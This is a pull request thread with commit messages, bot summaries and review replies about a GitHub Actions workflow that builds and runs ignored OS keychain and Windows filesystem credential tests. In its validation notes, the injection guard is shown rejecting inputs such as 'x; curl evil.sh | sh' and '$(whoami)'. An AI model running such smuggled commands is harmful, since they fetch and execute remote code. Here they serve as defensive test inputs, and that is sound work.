Problem

Two credential tests are #[ignore]d and env-gated, and the CI matrix never passes -- --ignored nor sets their env vars. Verified: zero hits for --ignored in .github/workflows/, and neither AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE nor AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR is set anywhere in CI. So neither test has executed anywhere:

  • credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redaction
  • credentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observations

Meanwhile the Windows CI job does run the portable inspect_with_api tests against a fake API — real logic coverage, zero coverage of the actual CreateFileW / GetVolumeInformationByHandleW paths.

What this adds

One workflow_dispatch-only job. Per dispatch it builds the --lib test binary for one OS, uploads it with sidecar libraries and a generated RUN.md, and attempts the test on the runner (non-blocking). Two signals per run:

  1. The runner attempt shows behavior on virtualized CI storage / a CI keychain.
  2. The downloaded binary re-runs unlimited times on real hardware at zero further cost.

(2) is the point for the Windows test: it asserts internal_fixed, identity_stable, and access_controls_enforced — storage-class properties. A runner's virtual disk may legitimately classify differently from a real internal disk, so green on CI is a weaker claim than green on hardware.

Design notes

  • Fails loudly on a zero-match filter. A filter matching no ignored test would reproduce the exact silence this job exists to close, so it errors instead of reporting green.
  • One OS per dispatch, deliberately: you pay for the platform you asked for, and the two tests currently live on different refs — hence the ref input. The Windows test exists only on the credential-v2 branches; master has the keychain test but not filesystem_policy/windows.rs.
  • Never a PR gate. workflow_dispatch only, so it costs money only when asked.
  • Inputs reach run: via env, never ${{ }} interpolation, and the filter is charset-validated, so a crafted filter cannot inject shell.
  • Not stripped: symbol names are what you want in a backtrace when a storage-class assertion fails on real hardware. Debug binary is ~730 MB (~150 MB zipped).

Validation (no CI run spent)

  • actionlint clean, using the repo's .github/actionlint.yaml blacksmith runner labels
  • jq resolves exactly one test binary from cargo test --no-run --message-format=json
  • Assertion pass path: os_keychain_smoke matched 1 test
  • Assertion fail path: native_metadata_smoke matched nothing → exits 1
  • Injection guard rejects x; curl evil.sh | sh and $(whoami); accepts credentials::tests::foo
  • Windows backslash escaping renders C:\ag-smoke correctly in all four derived values
  • The keychain test itself was run locally on Linux against a live org.freedesktop.secrets: green in 0.13s, and fails fast (0.04s, ServiceUnknown) without the daemon — so it genuinely reaches the Secret Service layer

Follow-up (not in this PR)

ci.yml has no paths filter, so a workflow- or docs-only change pays the full 3-OS matrix. Worth a paths-ignore later.

Summary by CodeRabbit

  • New Features
    • Added a manually triggered workflow for building and testing OS-native Rust test binaries on Windows or macOS.
    • Supports selecting the operating system, code revision, test filter, and execution mode.
    • Packages test binaries and required supporting files into downloadable artifacts.
    • Optionally executes tests in the CI environment while tolerating runner-specific failures.

Two credential tests are #[ignore]d and env-gated, and the CI matrix never
passes -- --ignored nor sets AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE or
AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR, so neither has executed anywhere:

  credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redaction
  credentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observations

Build the --lib test binary for one OS per dispatch, upload it with its
sidecar libraries and a generated RUN.md, and attempt the test on the runner
non-blocking. The artifact matters because the Windows test asserts
internal_fixed, identity_stable, and access_controls_enforced -- storage-class
properties a runner's virtual disk may classify differently from a real
internal disk, so green on CI is a weaker claim than green on hardware.

Fail loudly when the filter matches no ignored test: a silent zero-match
would reproduce the exact gap this job exists to close. The Windows test
lives only on the credential-v2 branches, hence the ref input.

workflow_dispatch only, never a PR gate, so it costs money only when asked.
Inputs reach run: through env and the filter is charset-validated, so a
crafted filter cannot inject shell.

Validated locally without a CI run: actionlint clean; jq resolves exactly one
test binary; the assertion passes on os_keychain_smoke and fails on
native_metadata_smoke; the guard rejects "x; curl evil.sh | sh" and
"$(whoami)"; Windows backslash escaping renders correctly.

📝 Walkthrough

Walkthrough

The PR adds a manually triggered GitHub Actions workflow for building, packaging, uploading, and optionally running filtered OS-native Rust test binaries on Windows or macOS.

Changes

OS-native testing

Layer / File(s) Summary
Build, package, and execute test binaries
.github/workflows/os-native-test-binaries.yml
The workflow accepts OS, ref, test-filter, and runner-execution inputs. It validates the filter, configures platform dependencies and gates, builds the locked test binary, verifies the ignored test, packages native files and metadata, uploads the artifact, and optionally runs the test without failing the job on runner-specific failures.

Estimated code review effort: 4 (Complex) | ~45 minutes

Merge Risk: 🔵 Low · up to 5c1c6

The workflow adds manual native test execution, but it should receive owner follow-up because the selected ref runs with checkout credentials still persisted, startup failures may be reported as missing tests, and hung or repeated dispatches can consume paid runner time.

Poem

A rabbit checks the test filter with care,
Builds native binaries in crisp runner air.
Sidecars and metadata join the pack,
An artifact hops safely back.
Windows and macOS take the stage—
With optional tests outside the cage.

P1 Badge Embed the Windows test manifest before building

When inputs.os is windows, this builds the debug MSVC test executable without AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST=1. The repository's Windows CI sets that variable specifically because an unmanifested test harness can abort during process loading with STATUS_ENTRYPOINT_NOT_FOUND; here that makes the subsequent filter assertion fail before the binary is staged or uploaded, defeating the entire Windows evidence path. Set the variable on this build step, as .github/workflows/ci.yml does for Windows test builds.

P2 Badge Record the resolved source commit in the artifact

When the requested ref is one of the mutable branch names encouraged by the input description, RUN.md records only that branch name. After the branch advances, the downloaded binary can no longer be tied to the exact credential implementation it tested, so its result is ambiguous as durable native evidence. Capture git rev-parse HEAD after checkout and include that immutable SHA in the artifact metadata.

- Around line 78-80: Update the actions/checkout step in the os-native test
workflow to set persist-credentials to false, preventing the GITHUB_TOKEN from
being retained in the workspace while preserving the existing ref input.
- Around line 173-183: Update the ignored-test listing flow around "$TEST_BIN"
--ignored --list to capture its exit status instead of unconditionally masking
it with || true. Report a failed list command separately, including the command
failure context, and only perform the TEST_FILTER grep and “no ignored test
matches” handling when listing succeeds.
- Around line 70-76: Add a finite timeout-minutes setting to the test-binary job
to prevent hung cargo tests from consuming the default limit, and add a
concurrency group keyed by inputs.os so dispatches for the same operating system
serialize while different OS jobs remain independent.
- Around line 146-147: Update the cargo test build command in the workflow to
enable json-render-diagnostics, keeping human-readable compiler diagnostics on
stderr while preserving JSON artifact records in cargo-test-build.json.

Codex P1 — embed the Windows test manifest at build time. build.rs:64 reads
AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST during the build and emits
/MANIFEST:EMBED plus /MANIFESTINPUT link args. Because --no-run IS the build,
omitting it left the debug MSVC harness unmanifested, which can abort during
process loading; the list assertion would then fail before anything was
staged, defeating the whole Windows evidence path. It is debug-only and
build.rs panics on release, so setting it for the windows build is safe.

Codex P2 — record the resolved commit. `ref` accepts mutable branch names, so
capture git rev-parse HEAD and put the immutable SHA in RUN.md and the
artifact name. A downloaded binary can now be tied to the exact
implementation it tested after the branch moves.

CodeRabbit — do not mask the list exit status. `|| true` meant a binary that
could not start (a missing sidecar library, the very risk this job ships
sidecars for) surfaced as "no ignored test matches", blaming the ref and OS
for the wrong reason. Report a failed list separately.

CodeRabbit — json-render-diagnostics, so compiler errors stay readable on
stderr instead of being buried in the redirected JSON. Verified locally that
the artifact query still resolves exactly one binary and the JSON now carries
zero compiler-message entries.

CodeRabbit — timeout-minutes 90 and a per-OS concurrency group, so a hung
build cannot burn to the 6-hour default on paid runners and repeat dispatches
serialize. 90m leaves room for a cold Windows build; never cancel-in-progress
because a live run is already spending minutes to produce evidence.

CodeRabbit — persist-credentials: false. No step pushes, and later steps run
build output from an arbitrary ref, so GITHUB_TOKEN should not sit in
.git/config.

Validated: actionlint clean; json-render-diagnostics parsing unchanged (1
candidate); the new list-failure path reports exit 127 against the binary
rather than the ref.

All six findings applied in 57d8185. Each was verified against the code before changing anything.

Codex P1 (manifest) — confirmed and fixed. src-tauri/build.rs:64 reads AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST via env::var at build time and emits rustc-link-arg=/MANIFEST:EMBED + /MANIFESTINPUT. Since --no-run is the build, omitting it left the debug MSVC harness unmanifested. The failure mode you describe is worse than a plain test failure here: the list assertion would fail first, so the Windows binary would never be staged or uploaded — exactly the evidence path this job exists to create. Set on the build step, windows only. Safe unconditionally because build.rs panics if it is set during a release build.

Codex P2 (immutable SHA) — fixed. git rev-parse HEAD after checkout, threaded into both RUN.md and the artifact name, with a note to cite the SHA rather than the branch. This matters more than usual in this repo, where evidence is expected to be exact.

CodeRabbit (|| true masking) — good catch, fixed. This was the sharpest finding. The masked path collides precisely with the risk the job already mitigates by shipping sidecar libraries: a binary that cannot load would have reported "no ignored test matches ... on ref X", pointing the reader at the wrong ref and OS. Now reported separately.

CodeRabbit (json-render-diagnostics) — fixed and verified. Ran both formats locally against a warm target: the artifact query still resolves exactly one candidate, and the JSON file now contains zero compiler-message entries, so diagnostics really do move to stderr without disturbing parsing.

CodeRabbit (timeout + concurrency) — fixed, with one deviation: timeout-minutes: 90 rather than 60. A cold Windows Rust build of this crate can plausibly exceed 60 minutes, and a false timeout on a legitimate cold build would waste the run it was meant to protect. cancel-in-progress: false as proposed — a live run is already spending paid minutes to produce evidence.

CodeRabbit (persist-credentials: false) — fixed as proposed.


Unrelated: the failing cargo audit check is pre-existing on master, not introduced here. RUSTSEC-2026-0213 and RUSTSEC-2026-0235 against Cargo.lock; the same job failed on bd58cec in runs on Aug 15 and Aug 16, before this branch existed. This PR adds one workflow file and changes no dependencies. Worth its own seed rather than a fix smuggled into a CI-only PR.

@codex the P2 SHA finding is already addressed in 57d8185 — the re-post anchored at line 251, two lines above the fix:

  • :104echo "SOURCE_SHA=$sha" >> "$GITHUB_ENV" in a Record resolved source commit step immediately after checkout
  • :253Built from commit `$SOURCE_SHA`. Cite that SHA, not the branch name... in RUN.md
  • :275name: os-native-test-binary-${{ inputs.os }}-${{ env.SOURCE_SHA }}, so the artifact filename carries it too

Verified by extracting the staging step's script verbatim from the workflow and running it:

ref `work/audio-graph-cred-v2-integration` | os `windows` | filter `native_metadata_smoke`

Built from commit `57d8185abc123`. Cite that SHA, not the branch
name, when recording this run as evidence — the branch moves.

No further change needed on that one.
